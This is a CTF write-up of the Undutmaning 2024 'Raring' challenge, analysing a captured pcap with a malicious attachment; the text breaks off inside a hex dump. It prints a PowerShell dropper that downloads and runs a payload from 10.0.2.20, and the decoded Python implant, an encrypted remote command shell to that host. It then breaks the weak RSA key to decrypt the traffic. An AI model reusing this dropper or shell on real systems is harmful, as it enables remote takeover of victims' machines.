Raring - Undutmaning 2024

Figuring out the Raring challenge from Undutmaning 2024
undutmaning
ctf
undutmaning-2024
writeup

The challenge

The challenge is called “Raring” and is part of the Undutmaning 2024 CTF, hosted by FRA, Försvarsmakten and SÄPO. Thanks to the organizers for a fun and challenging CTF!

The challange reads:

An intercepted communication between King Harald and his courtesan Brunhild Beträglig seems to indicate that she is playing some kind of double game. Is it because she is trying to get into Harald’s system? Is she perhaps even a possible ally?
Dig out everything you can from the intercepted communication!

Translated from swedish for this writeup.

En uppsnappad kommunikation mellan Kung Harald och hans frilla Brunhild Bedräglig verkar peka på att hon spelar någon form av dubbelspel. Är det till och så att hon försöker ta sig in i Haralds system? Är hon kanske till och med en möjlig allierad?

Gräv ut allt du kan ur den uppsnappade kommunkationen!

Solving the challenge

We only get a single file, raring.zip to start with. A zip-file encrypted with the password infected.

We unpack this zip-file with the following command:

$ unzip -P infected raring.zip

This gives us a raring.pcap file, which we open in Wireshark.

Wireshark

Scroll through the packets and look for anything interesting. We find a HTTP GET request to /mail/inbound/D7A7F39A14ADB3589D191853DF307198/attachments/important.rar

important.rar seems like a good candidate for further investigation. Select the HTTP response row and right-click the Data section, then select Export Packet Bytes... and save the file as important.rar.

Running the command file important.rar reveals that it is in fact not a RAR-archive, but a ZIP-archive.

$ file important.rar
important.rar: Zip archive data, at least v2.0 to extract

Just use the unzip command to extract the contents of the archive.

$ unzip important.rar
Archive:  important.rar
   creating: IMPORTANT.md /
replace IMPORTANT.md ? [y]es, [n]o, [A]ll, [N]one, [r]ename: y
error:  cannot delete old IMPORTANT.md
        Is a directory
  inflating: IMPORTANT.md /IMPORTANT.md .cmd

The files in the archive seems to have strange names, with a space at the end. No idea why, but we can just rename them.

$ mv IMPORTANT.md\  important
$ cd important
$ mv IMPORTANT.md\ .cmd IMPORTANT.cmd

At this point we have a file called IMPORTANT.cmd, which we can open in a text editor or cat to the terminal.

$ cat IMPORTANT.cmd
@echo off
powershell.exe -command 'if ((&{python -V} 2>&1 | % gettype) -eq [System.Management.Automation.ErrorRecord]) {Invoke-WebRequest http://10.0.2.20/msupdate.msi -OutFile C:\Temp\msupdate.msi; Start-Process "C:\Temp\msupdate.exe" -WindowStyle Hidden} else {$s = (Invoke-WebRequest "http://10.0.2.20/G78GAP3GQV8B.jpg").Content; $k = $s[-4934..-2467]; $v = $s[-2467..-1]; $o = @(); for ($i = 0; $i -lt 2467; $i++) { $o += $k[$i] -bxor $v[$i]; }; $o = [System.Text.Encoding]::ASCII.GetString($o); python3 -c "$($o)"}'%

Let’s prettify the command a bit to make it easier to read.

if ((&{python -V} 2>&1 | % gettype) -eq [System.Management.Automation.ErrorRecord]) {
    Invoke-WebRequest http://10.0.2.20/msupdate.msi -OutFile C:\Temp\msupdate.msi; Start-Process "C:\Temp\msupdate.exe" -WindowStyle Hidden
} else {
    $s = (Invoke-WebRequest "http://10.0.2.20/G78GAP3GQV8B.jpg").Content;
    $k = $s[-4934..-2467];
    $v = $s[-2467..-1];
    $o = @();
    for ($i = 0; $i -lt 2467; $i++) {
        $o += $k[$i] -bxor $v[$i];
    };
    $o = [System.Text.Encoding]::ASCII.GetString($o); python3 -c "$($o)"
}

It seems like the script is checking if Python is installed, and if not, it will download and execute a file called msupdate.msi. If Python is installed, it will download a file called G78GAP3GQV8B.jpg, extract some data from it and execute it as a Python script.

We don’t have access to the 10.0.2.20 server, so we can’t download the files. But we can extract the Python script from the G78GAP3GQV8B.jpg file which can be found in the pcap file.

Back in Wireshark, export the G78GAP3GQV8B.jpg file from the HTTP response.

Export G78GAP3GQV8B.jpg

We should now have a file called G78GAP3GQV8B.jpg which we can open in a photo viewer of our choice.

G78GAP3GQV8B.jpg

The image seems to be a regular image of a cat, but looking at the powershell script above, we know that there is some hidden data in the image. We can extract the data using a modified version of the powershell script.

$s = Get-Content G78GAP3GQV8B.jpg -Encoding Byte
$k = $s[-4934..-2467];
$v = $s[-2467..-1];
$o = @();
for ($i = 0; $i -lt 2467; $i++) {
    $o += $k[$i] -bxor $v[$i];
};
$o = [System.Text.Encoding]::ASCII.GetString($o);

Write-Output $o

We have removed the download part and python execution, and instead read the image file as bytes and extracted the hidden data using the same method as the script, printing the output to the terminal.

The script spits out the following python script:

from Crypto.Random import get_random_bytes
from Crypto.Cipher import AES, PKCS1_OAEP
from Crypto.PublicKey import RSA
from time import sleep
import subprocess
import socket


def encrypt_session_key(session_key: bytes) -> bytes:
    # TODO: generate new rsa key, p and q are too close..
    public_pem = '''-----BEGIN PUBLIC KEY-----
    MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2p66AmcxzvL+l5Ib/SjM
    yVcX0PReNxuylpgqvrd6jht3s7DvUSuK0SJYJSNiIxJPBcCmwGFdA+URSVZZfH81
    UscqCGgtDfFyioAICLNQFDCedes7+5z/XXWob/0aRblifPBtg4Bw/ZOkhpCFg7BA
    C7DMO8dG1Na2gl78cOsCyms4nHtd2vXOBHHSTMz3Ua7hyZVQC97lZKuJQ65ijy3c
    dNaiZzN1J1ehUiugP39bnNSjaH8QbAdYL+TapK39KZRXjA38ndnplfFT3X17tM/j
    5YW2z6dhMZsVpDMc3CdP30r5irC5XcnRXXHbf4WTtyL2/WhEmefre9I98r1smC+B
    iwIDAQAB
    -----END PUBLIC KEY-----'''

    public_key = RSA.import_key(public_pem)
    cipher = PKCS1_OAEP.new(public_key)
    ciphertext = cipher.encrypt(session_key)
    return ciphertext


def encrypt_AES_GCM(key, plaintext):
    cipher = AES.new(key=key, mode=AES.MODE_GCM)
    ciphertext, tag = cipher.encrypt_and_digest(plaintext)
    return cipher.nonce + tag + ciphertext


def decrypt_AES_GCM(key, nonce, tag, ciphertext):
    cipher = AES.new(key=key, nonce=nonce, mode=AES.MODE_GCM)
    plaintext = cipher.decrypt_and_verify(ciphertext, tag)
    return plaintext.decode('utf-8')


if __name__ == '__main__':
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    session_key = get_random_bytes(16)

    while True:
        try:
            sock.connect(('10.0.2.20', 443))
            break
        except:
            sleep(60)

    rsa_blob = encrypt_session_key(session_key)
    sock.sendall(rsa_blob)

    while True:
        try:
            message = sock.recv(4096)
            if not message:
                break
            nonce = message[:16]
            tag = message[16:32]
            ciphertext = message[32:]
            command = decrypt_AES_GCM(session_key, nonce, tag, ciphertext).split()
            result = subprocess.check_output(['powershell.exe'] + command, stderr=subprocess.STDOUT)
            aes_blob = encrypt_AES_GCM(session_key, result)
            sock.sendall(aes_blob)
        except subprocess.CalledProcessError as cpe:
            aes_blob = encrypt_AES_GCM(session_key, cpe.output)
            sock.sendall(aes_blob)
        except:
            aes_blob = encrypt_AES_GCM(session_key, 'Unexpected error!'.encode())
            sock.sendall(aes_blob)

The TODO comment near the top of the script hints that the RSA key is not secure due to p and q being too close. This is a hint that the RSA key can be factored. We can factor the RSA key using the fermat factorization method.

Save the RSA key to a file called rsa.pub and run the following python script to factor the key.

from Crypto.PublicKey import RSA

def isqrt(n):
    x=n
    y=(x+n//x)//2
    while(y<x):
        x=y
        y=(x+n//x)//2
    return x

def fermat(n):
    t0=isqrt(n)+1
    counter=0
    t=t0+counter
    temp=isqrt((t*t)-n)
    while((temp*temp)!=((t*t)-n)):
        counter+=1
        t=t0+counter
        temp=isqrt((t*t)-n)
    s=temp
    p=t+s
    q=t-s
    return p,q

public_key = RSA.importKey(open('rsa.pub', 'r').read())
n = public_key.n

p,q=fermat(n)
print("n: ",int(n))
print("p: ",int(p))
print("q: ",int(q))

And just like that, we have factored the RSA key.

To get the private key, we can use this site: https://www.tausquared.net/pages/ctf/rsa.html.

Private key

Taking a look at the python script generated from the image, we can see that it generates a random session key and encrypts it using the RSA public key. It then sends the encrypted session key to the server. This looks like a simple hand-rolled TLS-like protocol.

We need to recover the session key to decrypt the messages sent to the server. We can do this by finding the first message sent to the server and decrypting it using our recovered private key.

First message
from Crypto.PublicKey import RSA
from Crypto.Cipher import AES, PKCS1_OAEP

# This function is borrowed from the powershell generated python script
def decrypt_AES_GCM(key, nonce, tag, ciphertext):
    cipher = AES.new(key=key, nonce=nonce, mode=AES.MODE_GCM)
    plaintext = cipher.decrypt_and_verify(ciphertext, tag)
    return plaintext.decode('utf-8')

# Recovered using the Fermat Attack
n=27598221485850985023658493832540104972348282651850391556024707082442433704392091526440432610066544806760766219243763589412871467334659280802794432292042049808078573661364181574743081848884987981525718796760954965881590357121558128280308387718582434667726467217944876421232464961166646195664228757310744695960254907319660792485593886080983232630836154808206621091401242877137671113614403216537937927556157786873435640184689905889448998608457109480208872267102524472310557560234804132815334616648304101967544836585574245116457418548607468249992276152536388385831017780107866857266038993892578651367204742881096347124107
p=166127124473551834917117909894024324655494225136363807546891720882822943830398139293936192565906226577822150817806723792076738095009909234957970377861008966544290125303336724003974606809467723312821135416453947718166221341612267651048046788841415401374632068824759806998480282989672304964635759213266410142863
q=166127124473551834917117909894024324655494225136363807546891720882822943830398139293936192565906226577822150817806723792076738095009909234957970377861008966544290125303336724003974606809467723312821135416453947718166221341612267651048046788841415401374632068824759806998480282989672304964635759213266410021189
e=65537
d=243531353670022304826586928611960604468928652201117275266637497511563541440414796979718351634847602194693455859253541918977515089655476067470092854106189868677751817279833422439281741621623943829359272826083279443853943713411444563049593370119768315406131237482230358930402579365119328974649889624806880417303552017665980317787039289762950998864060347469243596545619770665989157964998019626815365642216255815752001167649578571674642148354373197164889413061440801281705138890484134445059600666937082894504329949409353265142320746039600334224669299334588189781371306147552707845790725971437632697664045860236309081069

key_params = (n, e, d, p, q)
key = RSA.construct(key_params)
cipher = PKCS1_OAEP.new(key)


# From the first message sent to the server
aes_key = cipher.decrypt(bytearray.fromhex('8534befd647f996c7a76ec7fcc1efeb7e0d8820acaa4328cfd47f6093dc2e1727f76baed5a81f58e080a8dd4870c039b459b0e6ad4674f50dbffc70a34d5dc3d40d0ce55c97a5c82b93ceb4ee3e623d6ee834e837a2441296ce2b4366e583e08610c0fc7c1414e5b393bee36cc6e739fe0e93fde8d08a21cd2a7496cf2ab87821461062a4b5bfcaf8794735de643baa17d543d80cca68f8e75b9c21ad6b84a0b082b50fa3e4a6112a41996c0679b7b82eccff94377b546e84408b46cc1570bb3c7295f1a0b5ecea5db533b597ac03d118f55931c009509ebbc95663dc8d72a98cb5278579be4f22a0246c878a993dfe51d35cd936e760514d94b0649cecd8bd0'))
print("AES Key: ", aes_key.hex())
...
AES Key:  fde6fbf9a4e855b87a54c15def202daf

And there it is, the AES encryption key used to encrypt all further communication with the server. Now all we have to do is extract the messages from the pcap file and decrypt them using the AES key.

The complete script to extract and decrypt the messages is as follows:

from Crypto.PublicKey import RSA
from Crypto.Cipher import AES, PKCS1_OAEP

def decrypt_AES_GCM(key, nonce, tag, ciphertext):
    cipher = AES.new(key=key, nonce=nonce, mode=AES.MODE_GCM)
    plaintext = cipher.decrypt_and_verify(ciphertext, tag)
    return plaintext.decode('utf-8')

# Recovered using the Fermat Attack
n=27598221485850985023658493832540104972348282651850391556024707082442433704392091526440432610066544806760766219243763589412871467334659280802794432292042049808078573661364181574743081848884987981525718796760954965881590357121558128280308387718582434667726467217944876421232464961166646195664228757310744695960254907319660792485593886080983232630836154808206621091401242877137671113614403216537937927556157786873435640184689905889448998608457109480208872267102524472310557560234804132815334616648304101967544836585574245116457418548607468249992276152536388385831017780107866857266038993892578651367204742881096347124107
p=166127124473551834917117909894024324655494225136363807546891720882822943830398139293936192565906226577822150817806723792076738095009909234957970377861008966544290125303336724003974606809467723312821135416453947718166221341612267651048046788841415401374632068824759806998480282989672304964635759213266410142863
q=166127124473551834917117909894024324655494225136363807546891720882822943830398139293936192565906226577822150817806723792076738095009909234957970377861008966544290125303336724003974606809467723312821135416453947718166221341612267651048046788841415401374632068824759806998480282989672304964635759213266410021189
e=65537
d=243531353670022304826586928611960604468928652201117275266637497511563541440414796979718351634847602194693455859253541918977515089655476067470092854106189868677751817279833422439281741621623943829359272826083279443853943713411444563049593370119768315406131237482230358930402579365119328974649889624806880417303552017665980317787039289762950998864060347469243596545619770665989157964998019626815365642216255815752001167649578571674642148354373197164889413061440801281705138890484134445059600666937082894504329949409353265142320746039600334224669299334588189781371306147552707845790725971437632697664045860236309081069

key_params = (n, e, d, p, q)
key = RSA.construct(key_params)
cipher = PKCS1_OAEP.new(key)

aes_key = cipher.decrypt(bytearray.fromhex('8534befd647f996c7a76ec7fcc1efeb7e0d8820acaa4328cfd47f6093dc2e1727f76baed5a81f58e080a8dd4870c039b459b0e6ad4674f50dbffc70a34d5dc3d40d0ce55c97a5c82b93ceb4ee3e623d6ee834e837a2441296ce2b4366e583e08610c0fc7c1414e5b393bee36cc6e739fe0e93fde8d08a21cd2a7496cf2ab87821461062a4b5bfcaf8794735de643baa17d543d80cca68f8e75b9c21ad6b84a0b082b50fa3e4a6112a41996c0679b7b82eccff94377b546e84408b46cc1570bb3c7295f1a0b5ecea5db533b597ac03d118f55931c009509ebbc95663dc8d72a98cb5278579be4f22a0246c878a993dfe51d35cd936e760514d94b0649cecd8bd0'))
print("AES Key: ", aes_key.hex())

# Manually copied from the pcap file
aes_msgs = [
    bytearray.fromhex('10c8f2c38550504d057cf39b037d857c2b24dc4508594688f4e885155b2179802360a16290026c09'),
    bytearray.fromhex('164ef9c0337a9f7ce7769d8fc6f1820583558a02a40b03f293a5b08380737a878901d5b79353b2ef87b1'),
    bytearray.fromhex('1fdd9c2b8f1e4aa6c3fc57d6ec85cd34df11a034d5066fe89468dbe0546fd88b75b087e692a8b079d053efd6'),
    bytearray.fromhex('ce5ddfc5b5044247fde1c9b27346640e342d1cde69b7886e3f4ee63488063ef0cda42961153703eff84e3b848dafd87191a83f3c471d4469811673787d136ac4dea5d5cfa2966083450bd2ae'),
    bytearray.fromhex('14a9b789d8c1c53043238202bdc415773aa823a003c1ab924e4f9b20e0b8476beb66e6da4a820f0c6ec188134f9055af'),
    bytearray.fromhex('080027530cba080027e169d108004500061ffe6a4000800600000a00020c0a000214cc0b01bb0824e24e1730d74e50182002182600005974be3307d32ad2d73bfb1561ffb57735a3c31a0e99302ada77272374c7f3c0fbdb66fe04a23dd968be4db2ce892b7c94f95eb0748df70ba822b1a377db7be454e43a55a2913f16ce06581f45ac26c9e2fb5b82a068268a1f3761c1812e5d0c88ff60049beae21681a8b13d8f5c2085e466e4e09edf2d1592b61de5c862f227a207f8aad7c10245aa3ef22b39d7f29effc0187562b445fe41de9536de66bc382fb45f06785c9125ea609b23207629c9104706fb19fd545f8c47bcb781f1181e5f34f9c61d51fe06d0de5fc1824e3ba60ea647a5a904b45650b2ae059ee99e04c1aa96d5b86da8121c5edef864fd76f3e2028b4e449c7b33a28da893d7a271590fb2b0d8c83183caa104c2830211a722991a3a59665ea7ed77c2772f1d10b6c0ade8c7cdbf32eb16ce99fe7cb93ae49324c80f645ff45d81853db719346e64a0adcd4cfe89f71884eb10ed38000abbbfc5d851cbeeec1ed4d16e350eda1f8cfd73065b743b83718b026c5eb007309d6e2b7a8bdcea9242a029c293d0cf82a64da000d47dd95e51f7c7a6265f2461e153a01125fe9b3f58377bb9673267ffa848439cf6a52bfecdf0602db45b5916491cb497fe8a94f47c1516f1c545e46ccc881b578ae73298fa874aa81f4e00de68798f469bb263bcad8976cb8b8f9c630aa4229d63cd14d3b21e372b8985adb3e67c62b510b9d37ff2a6227d712f92258182180a01fc3a2060fe0fac211b3da77765d44fc633937a9b86d912d4704a95091b4c1aaa157c1df8ebb5d3956cebb9af6424acd84954b32c4a1e47af2b98c164da0249438ab5de4f85d6ed42e1c00224dbe9c575398e70422d10aea0e68837312367ccecad14827b9ec582bac78febf2c5d6a40f90482d8eae3c5afffc46ffc559c59350db0cbfeef9c9ad6374c8ccda1071e00a38fcdc106c83b3f0aa9f18df0d68e1f5cfe1c79bb93d2c5c2ee1ada6dffcfc685ff0ec141377eb0e2dd7d7418e38613a292239305a91e86a67972e852c1bfa549b4cd3b681bde186c5cbf2db8c6b993c38e73632c8e629404e7cfd6165baf8228854500ac35723db5a116214ddba1963e04b5b66bb28e8dd22a9cf2d68a909f5cb01ee749288f5ff1688550176b1f841f5f4367645fd8ecb00ea9f7a7fd55b13ebf1292e9dccf535584d59a11be1981881d6edcafebc676b5577245b1043139a6a1d33177ac98ba9c3efa5c03ff82afa34c8a87024ea5fc4c1ec9e682eb99f4c6e14c3764382674342ec52ac7af297bff8562e5ed1627604f82c30bd35cad8eced52e7df7f00965ee1f40178f6ed2ed94ae3211479ce94f2e1c84ca42ad9650e44327b9bc81e4e4f21ec863577ef6f80f156264784ed06f79beae7821bee7e22cf4e4346fcc957fc30da98e6d132a21646483ab18bd4cf7ef547d354700743fd0f0433c4dc3f14d21ba4bab9895402402925e4cc4fc0e481e6500e8bafd2d3abb7df6c80ddc6061118181d3beccf73f1470a31e4f8a80728f1c39e245c172b669837ca60ae41d29bc1c259caf3c898656634fbb5f9c8fe78caf60047ce9fca79b72d847561297f459995fee4f11d231400984ae56e203ebb6aa1519caacc9bd459e6859fcb68124883f9df4b99ce9587c11c0d114dc31d7d709ae69a939f968d1c467953d76832e286bc96f39e80421a1a155e5d2ee484a1d41f8209836a2cf4aea91f4c89b2bb240043dad861279910eb52af238039918aef58ba2a7d50d6d23aace3409dca8b60052291ca7697a0327fd55d36fecd70e533ac1c2e9ea7b9a9a6abc35f0208dc8dd73ddab9c58e923db88e253053cf10ef6d69d13a646d9c468baf2edb3142b3ab0f72146c4110302a0037c6ba32a3fdc205d22d51b365cf751a1e001dffdd520f7b3c1f2cd848a9b6a20e2a2a9d813b44102f87f9477c6ec5b6aae9a1519cbaa20970e71e2734dd8957b912788a108188f18a6b757ebde8cce39e3eef56c7038fa098a0b970d1b69d7fea7b8b340050dc52eab32144c8f87913ab5c68405b0027e752a0c6be923c2873c279595e2c4e9664a503fcf3a349d77fe677e13a8cc910bbe6accb35852afaffd740a867a50138a69d849515b1690a45f6d0a6de1f95b0b6d4bdb3d187f3b56c40753a2ef3bb49e07104a7b9ac7b438a5b9d2d'),
    bytearray.fromhex('d92d55470e61b0b00a3537a26ffaedf1a1635db26dc7d87e743adb6fb62d65b50ebc1d792529a921ae3d300c6b87fd'),
    bytearray.fromhex('b8ffcf2307d6fa67f84be41a1b8ded59d867baef36b9df71502ed32a4a3726eb35e962f3dcb3873f201c5f7a99b97ff6affeccfed8a75d7af6242551ea60523fb06b58e78316b02f053940876456bbe815c9a4de1c932c04e83dd763800ec299638a9573275a6ee748de5b4b9e9faa8e11831d437092d68a1284b58eb0d2bc3c8e2ac737087f182aee0f3d8e69d0f9df2aefb294e0782a9fe06044f29b84ff9c0ff0aaea7ca3ca01d8d2a079268760279309126176923f79795617161b9faf3c6fe0a64a9b3d444168d14c63a6ce9dc849b826ad9f39d67c00b0a455d2026c3447754d89946b3a13484b681cf1dd21edffde499abb3dbb0fa072e1ced10f5ab4945fcdf4440e13d557efeda170e3868d316b3f4d54d3da68bdcbb45a84bcd32e7faaed8072ad824e0707e6fd6ed42da9157c004e5c5335c5de2ead964e3ca1b8a33c66043c8399966df0ee2da0bbfb02a1679e29c19a223d068710c381933ea260b0c2c109afe8abac51f60869a19444b1d7ff51f60b8c1b6a5f85d3dc17d3b65e428d7a09660b5dc31b756c3cb00335392cdcdc780e4e8d37f475f9b70bb064b3b752cf1b4c7fed04510d0ad0aa7f13bc47e7338a149e9936d63ffc8e6e882f3b5542ea93d461bc0c9c74631c3a295fd8f4cad3b8c13dbee517a2e2ee3e5e41a6f296ca47181d2095be111bc27372f431deeb7c4ddccbce36207c431771219de0a5b07b14003d7918c7d5942c5fae1691641986b529ddd430d9c37624874864d6b3bb32ab4c38698448858518d5890b37a6a947a874c2b3070b4ec658f8f91b8ed21c14e91f2b776466742fbdf7d4fad856b40b7d7807bc58abc9a74414bc1fe1179d75e5730746f6e22cf43d7d15e5a666bc2ff6642d151db0d7b0bcade0f1dd117b1d502e49fe4d73e6ec4d65176fc0e1533a3094e1fc2036085d9d92cbd7d5476182408e3d135029eb05142026bfd6e16d21468805f078313a7fdb9f1a7e21ec52cef5cdfc10d330d3ed4014224e0cb4ec59199449bdd335cef9926f7ba32353610869a72cd4d4dbc0fac7bff1aa65ff365f95781aaf2de005ce62881c285818ea8341b79b69a21e8d26e5561ef18da95918a30614d42170f9bbc96275518a42de1807b475853d03fce84d9c31f79525c3ee65d496a1d9b2904167d2f8f32d2bc1bb6e2658869b825a8749c111044f0c9ae5e5866dd95d88094e748f89358d92454e2a409c8900d649eb7f057557f7b405e108055a6b1d5668ebd420aa503bf64c154a2be85e7ad7cf10eed28ad0598f1fddbcc3792e92b5dd52448bf5d41fb064f678123ec671b98e05cbda205d2fff7f6031207e74ee967e07e0eef107cdb5a2e913e212f7cecf4ee03e54d1267187b12593ae67cd2bae435cf61d855fd271ea8b5acf5c4d727657310d5df0dd591df2a965ec127dfe0189b56c403f8f7c4def3f3e90d38dafa4a925b5e79d689e25310b870477b0ccb3bab04fa66d5bd87ebae28bc734a85e097a2204b82b9e28de9c88c3e702b2bacffc6fcacc16382fb8f725d3f4250763efeda9d261a0198be3d13826f1181a4b11e1c7d29eb32b4142822f13f48acc1d52d302ec823960578a5b029560eae0fe9f5d71dd86b408b09130caade1eb4628732075e45859f627d2c749e85a08f0040b04d95b91d7ef0da3785a612d7dd276a9289929df85571fd03dc7a5e08b43f6cfde46519b8fbde511b949e6cc53f1de14f48c0bc26ab941602d9230968817adacc0b24bbd2387893276aea55851ea74040a44bf39d9b1a2415c02b2f81f80abee5b74a44e185f66f96a10514515e2670ca01530a10279a59b1bba3ae9bc41f31912f983864840a83d35ebef78a31cdff95f09d8cf064525df77e5818d4cbc8b8c6bf2bd32bc377b6288cb9e302cc7bbdc50e113d862032e90cb393c6bf818f4e53cc1886748472620dceecc8574b7a599cdc4cd3fccfb5287b847cddaf8167bc45f5397153858ccf5a432273be7b134f609a7d7435d11aaf63917f4d384d1fca1b54288d747488d165e2c565da23a34cc6b9b740dff98e547a8163374ac98d376a3854312c37e5a43d9b71fc4310a5c7c9449c1aef277200bf6979a439ae970c67b8fc253156f81a61f0e89e0d4d3822aefef0da3657fedd479fc2476a3ba79c98de90bb397d8f37ba644b7e53c3fc79faf66a2efab9e855da077b48d55ec3772fe58d5c194addebd364e1fc4eec587fb5f2963b3d137a7ee7393e74af524580fa45495f8d123b350b63cf0aa4fe05ded31a72966f26e467acd7cc36b976faa3b304d1ad38573d3e46408747091b5b173869c997d0ce5d7ea5d580905b6effb2f9cd75a185b18b3ee9775aeef613e720cf23a3000f03ff881e2029f3f8c02a7f0ce6e4c0b09617cbc814dcd3e83eaae5be70a1b518aeb24818bbf764182aa461b1105b7a876a20f3b6debce953d5a3a3194c960049a4bc5c1ed006ffa0c7d0f05879d9e984395ca0712bdfab4ecb32207ac74ce724a90317bbbeb76492c6fdc82ed7c2c9c17eebed8ac41213d06822a437a88c87c9ff14521bf25d17293fc3b4867c4a54ac96cc5a02835f8e1fdc2545e7016cb940dc48194f20fcae1fce06d2c46d464311c2a6fc823ac0c662ae62d00048f9ef126f7012a7430f34f9ae0b941104688344596a850bd3e0e501789a2639236e403c860b8450fde0f3928e0f855e47708feb08a6ccf78183a12ae94d7c5bd074dba42105f667ab2e158d35790e1be5d8d26f2bd866507ce8cca75adcf64c343c61ce40ae656fa20f8b6d00f6659a96dd37245069523b23c3c93e982910730191bff29284edb53737415b6c61887113c6d91bdea5ed9a3dc6dd2ef24767fbac3e6f64ce3ed62aa47313e5bfa616df0a07ac9bb723932f73e58b9fe3b13886e1023a28318b0c3c24c396afa48f73840ff22a89ffdc7609d23626a62590414d116aa9816520f7110674239c0c10eab119b6363b64233013ed693dee3be401b3caf54a96ba618d53f860b05d90753d2d47ab51a406e1afd82010c0a1d3eb6f67d2fa603f925f8aef9b35bc82f742ff131b1883bdbfc88234fb969dd2fe51901ce4bd420cc1c6d43ac3dbdf0fbcecbecc6422f567eb38ce7a1583b2a66e5d986d1acfab34009e43345f9333bcc67ac966709bc2c0f33c969993a3a5dd8f35dc576d170f41078cfd41582e4d9696550513b4bab5764faa39ab56d39c13f7b503c12feff8d9c8552189503cca9da9e0b41c9f07ade8bbf264fe335c9348f0d7c03e000df3b3c5af5f100f06e3d83031a2e3b6924c571e4c9de25fd2c5880651804dddda6e1922cba5f1fd61e9867780569ee2ca164a5c5fac282d9daf0689d98bedb2717443a2fcd5dab1cac907178bb440e0481955233e4349696fe7354f08cbad4a3228af62117634a9f5d2cc1bc0d817f05bd04c0aa55d66293213c42c3596ac090d439e615274818adc229531a1ce3c6cff48aec7eb120a74824b6ab2c84261f3b63a958efcf398481ef2608a063dbb9c00ab7b50fe6fd330ab7ae8b365e485eef7b88a4c2f9533d397140789acc6316972782844ab8ffa67cbdc171c11609d948263b69b7970c35f7d2d189e8138a61a3a25902d108a0911eb2c0dbaf'),
    bytearray.fromhex('2db15aedfbab2f6495afbc675caa45c03b493674c52111a49c12bf1f41c2f9e423a867aaf6884ce3'),
    bytearray.fromhex('2196b9726c6f0247a2d3f0e773b3b5ce89c84f8eead9b28c31261b768c9d81817acedb1c2dfbc593f8922b1f78dc204a58f94a0035212e19f703f4ab8ca71de2e64fc1181b90078605044cb8166e6235021d2494567f0000b55ca2023d5a46dfd8ec5098060e67efb619dccebcf1012e8589b61e6b1d9ea23b4478fe606a7b4e74c346317d5a005a6043680996b5de2af9c99926fc0a038a70a3d8699d6769494cb1d6c27164d2085b7a386b635ec15366d9d8591fe8acd6203abd961b6ffb24c3b226588fd3f4d66dac5a2b01acaac05d584e36ab0deec9f8890494cda850dfe4573ba67b3b7fbbff8fc6a13e118af7f1867d799e330e394c2c80419c61050bf18135ebf3f4fca0e3081dee4665fe4ccff4618aa54e4fd74a3ad88e95237f1d944da5b441af7c02d67b53bbee5c80d20a54f53c69503c82ee993e'),
    bytearray.fromhex('55ac581a1a864a1513bd95d669056ac2b397d8c392ff63375d38968dcfde84e9f89c4785a3e6477e2c4d19'),
    bytearray.fromhex('c42ca8ba5dc905bd51345a3abd803f280ed3cf58e4af954934c2471151fd438b0c3ab15de3153b699a562fc85b6e8e4bfe4ac08784480cdefd70d003ac790dca1f93b2427000f903a9a3ef5c764e95523d5b3bcb2cc5a826370eabc727e56c316745f515f3062fffb8342e73dd4b63088349ca8ce455db8ff9f27286eb5d9ca53c0f1e1d16c9b60acb8aac7881a631be250035c95b1079123064840fea04ddf3a6daf322211a9624364bd1f620519d20381417c68b09dc28073442e42555dd5979391edb0d66fc0335576964fdb7d45e42bae7a5b05064df95ec18a09f7b291fa423ffd794d73ddd2b3951d305588d834eac1f16a9788d267175272b5dacb0a92d6d284e651b697ddb371996627f78b6c44e77646c66e0e475b552c426565fb118dc00ec7b306ae11f2701562fe2e13dff022e88bc7070554eabd8b18a9340c3b6c33f809661fad85a814dcdf3956db7f0e35269fb59f044d709be0517b591dc063bbfe845bdf81c7ae90b946e96ec00ab546afe1bd44b9a2084be0f9f9da1cb88ae2d4aa35e346212c8aadf5b6f98155784009b5df72e0511bc68ab71b81469c6f7068b9a91341533bfd523dbffbf1f8883a31c1e9a3d46058e4e693d9aa01dddff16e817a2baa6c8bdf7dc21bc663aa6340598f180621f2ff871b0f556fc8e47bd0b342de8560d7afe17de99059d7d6b7be7d372b156396b6e564002bf96448d34c7bba32161b74376007079e4c4a5f6d828f92c0db6974d22e6e61bfc1255b58d6a083c3df3b03144158e00da62662a1c6d57d9e67ef295c4a553effc413f02d51e0a496f131113ffa61902efa71ce9847156ed829d3769fb86d394efa5dea6ab450d3439648c3a20a94e67c36dab86873a6d7b7ae366136e6cd3b73b47a8357d4932b98b45b01427cdeda506b31ff3718d3378256577ebbad2cfcc1907b36a53d109ecdb3a49f40fa417a1c4f9b415991fa282828b4c81e30da064764ab8e996c385e8120c2f0304e613810700eab1d569e1a8fa731a176b1da044e9e61e88a724e335e20861f27e74fc431706233780411d098f846e233897363d0d4ee064bc523e194809792865754ca2b00b9079b70700dd2fdaa9eebef7f8d582714b1fed7c196ce9db0bfe469580a51a90bbeb89138ee31db417d9b740bc1ca1c0fad1caa60c7911b04f4b2c50e00a82f5452a2776582161dcc936b8159da455ab6f69e891d61d34d5870dc6678bda3a7e5e177f088d7af75e3f868e1dff292c0adb9d4ce4c3ccf8bddf3d6b19f1a8344555dc0337292ffaba9c0b1f82b39105d2d9e950fde61c329289ff0559696e0ef129dc988743b0a95a66e1d02cf79084ee69a82f6a72ff00febf8c48b7837e75f46ef066a4810fb5b7f83c2b6286e2ca4da4364dda272afe1f12150378de5efef75b501cfdcf04d11fa2e694dd123d5416466884b9a0f6438b77231b965ba5fb5c4fc03056a319cbcbfccc1f976f927959dfe5e11fc1210e07334060c7087e1352df5aa99489c3a7671eb2b2331d4c7be115f874dd164336599b8acc247b60b43c25728899d339cc1985eaf301961a505c9c6aeb55babbb82eda5c3a0ab5207673b37f1530f386f619392142ad91c01176157612272e1a3e8b4a9fcd32db8ece41345293aa05fff3efa34efeb7821404dba17800c8f50ffc7786825fe3f1df3a3812579b67126028912edb1c62711a5c8445296c2eeb964c9adea52a7119988d278e940f9db3a7894804f384e88d4935cd0e18e295c6672dc4d8bf99a0203b3c763c6a834fcb3c2faf4e39db4db74c780734b48b61b8a35097453db08e95414b2261917262771d6d1a36c45ae5a4656fc072075522a610d41291bbe6c7d6b45be2fcd031af2b4383c0a4a4d93709b636d944737793b24f74fa7215b78ce80ac98e571643ddafa5e3597e5f625f89f59ff6ff83f6b0cc92ded8e48cf615ccc2f2114f059016020e687af9a4fa2f3beaa288eb6975a4c6adeadae493a3b8c0fce2569cc977d08c082d3c0e8ec7e80008a88a677b12cc9f26bb161c808b204cceff3c01a5e5c21161680119a72e0dcf7adc0fb73528b8274f8ff846e5ad7e4